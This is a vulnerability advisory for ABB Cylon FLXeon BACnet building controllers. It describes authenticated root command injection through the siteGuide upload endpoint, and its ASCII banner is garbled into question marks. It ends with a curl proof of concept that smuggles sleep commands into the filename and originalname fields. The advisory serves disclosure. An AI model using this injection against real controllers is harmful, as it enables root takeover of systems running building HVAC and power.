ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Root Remote Code Execution


Vendor: ABB Cylon FLXeon 9.3.5 (siteGuide.js) Authenticated Root Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
CBX Series (FLX Series)
CBT Series
CBV Series
Firmware: <=9.3.5

Summary: BACnet? Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet? IP and BACnet MS/TP field controllers for ASPECT? and INTEGRA?
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
root code execution via the /api/siteGuide endpoint. An attacker with valid credentials
can inject arbitrary system commands by manipulating the filename and/or originalname
parameters. The issue arises due to improper input validation in siteGuide.js, where
user-supplied data is executed via ChildProcess.exec() without adequate sanitization.

Tested on: Linux Kernel 5.4.27
Linux Kernel 4.15.13
NodeJS/8.4.0
Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience


Advisory ID: ZSL-2025-5932
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5932.php


21.04.2024

--


$ cat project

P R O J E C T

.|
| |
|'| ._____
___ | | |. |' .---"|
_ .-' '-. | | .--'| || | _| |
.-'| _.| | || '-__ | | | || |
|' | |. | || | | | | || |
____| '-' ' "" '-' '-.' '` |____
?????????????????????????? ???????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
???????????????????????????????????????????????????????????
????????????????????????? ????????????
???????????????????????????????????????
??????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
???????????????????????????????????????
????????????????????????? ????????????


$ curl -k -X POST "https://7.3.3.1/api/siteGuide" \
> -H "Cookie: user_sid=xxx" \
> -H "Content-Type: multipart/form-data; boundary=----zeroscience" \
> -F "file=@testingus.txt;filename=zsl`sleep 9`" \
> -F "originalname=testingus.txt;sleep 10" \
> -F "boundary=----zeroscience--"